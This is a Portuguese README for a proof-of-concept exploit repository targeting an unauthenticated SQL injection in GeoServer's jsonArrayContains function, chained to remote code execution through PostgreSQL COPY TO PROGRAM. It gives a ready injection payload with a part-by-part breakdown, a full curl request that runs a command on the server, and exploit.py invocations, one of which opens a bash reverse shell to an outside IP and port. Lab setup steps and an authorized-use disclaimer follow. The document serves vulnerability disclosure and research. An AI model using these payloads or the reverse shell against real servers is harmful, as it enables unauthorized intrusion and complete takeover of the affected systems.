
POC | GeoServer: injeção de SQL não autenticada até RCE completo
CVE: CVE-2026-76904 | CVSS: 9.8 (Crítico)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Esta vulnerabilidade recebeu o identificador GHSA-mqjf-5f49-2fjh atribuído pela equipe do GeoServer/GeoTools e está sendo ativamente explorada na natureza a partir de agosto de 2026.
A vulnerabilidade já foi corrigida, mas, por ser tão recente (1786870173), ainda está sendo amplamente explorada em toda a web.
21 de agosto de 2026 - Recebido um identificador CVE: CVE-2026-76904
Injeção de SQL não autenticada na função jsonArrayContains do GeoServer
-> Execução Remota de Código via COPY TO PROGRAM do PostgreSQL.
A função jsonArrayContains do GeoServer (especificamente no GeoTools), usada para consultar arrays JSON no PostgreSQL, contém uma vulnerabilidade crítica de injeção de SQL. O terceiro parâmetro (expected) é diretamente concatenado à consulta SQL sem qualquer sanitização, escape ou vinculação de parâmetros.
Especificamente isto:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
A vulnerabilidade tem origem no método FilterToSqlHelper.constructEquality do GeoTools.
O terceiro parâmetro (expected) da função jsonArrayContains é gravado diretamente na string SQL usando String.formatted(), sem qualquer escape.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
Esta falha não é um bug novo; é uma regressão do CVE-2023-25158 (uma vulnerabilidade idêntica de injeção de SQL com CVSS 9.8).
A nova vulnerabilidade foi introduzida quando GEOT-7589 adicionou suporte a jsonb_path_exists para PostgreSQL 12+.
O patch de 2023 não protegeu a função jsonArrayContains, que foi adicionada/modificada após essa correção.
Essencialmente isto:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Detalhamento do Payload:
| Componente | Finalidade |
|---|---|
jsonArrayContains(data,'/x','y")\'') | Chama a função com o terceiro parâmetro especialmente elaborado |
OR 1=1)) | Fecha o caminho JSON e a chamada da função |
AS gt_injected; | Cria um alias para a tabela derivada |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | Comando RCE do PostgreSQL |
--')=true | Comenta o restante do SQL |
Curl manual
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
O padrão de fechamento do WFS 2.0 é adaptado da pesquisa de mhtsec
Ninguém quer executar curl, certo? Aqui está o uso do exploit.py
PoC de Criação de Arquivo
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
PoC de RCE
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
Um docker-compose.yml é fornecido para simplificar e permitir um início rápido com o PoC.
Após a inicialização usando
Docker compose up -d
podemos configurar o ambiente usando a API REST disponível
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Publique a camada
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
Este repositório contém um exploit independente de prova de conceito para a vulnerabilidade zero-day de injeção de SQL para RCE do GeoServer ;jsonArrayContains;. Esta vulnerabilidade foi originalmente descoberta e divulgada por 秋风 (@q1uf3ng). A cadeia de exploração foi recriada e validada em um ambiente de laboratório controlado.
Este projeto destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes em ambientes de laboratório isolados.
Não use este software contra sistemas, redes ou dados sem autorização explícita do proprietário. Você é o único responsável por cumprir todas as leis aplicáveis e por quaisquer consequências resultantes do uso deste projeto.
O autor, YonLiud, fornece este projeto “como está”, sem garantias de qualquer tipo, e não aceita responsabilidade por danos, perda de dados, interrupção de serviços, acesso não autorizado ou outro uso indevido causado por este software ou obras derivadas.
Ao usar este projeto, você reconhece e aceita estas condições.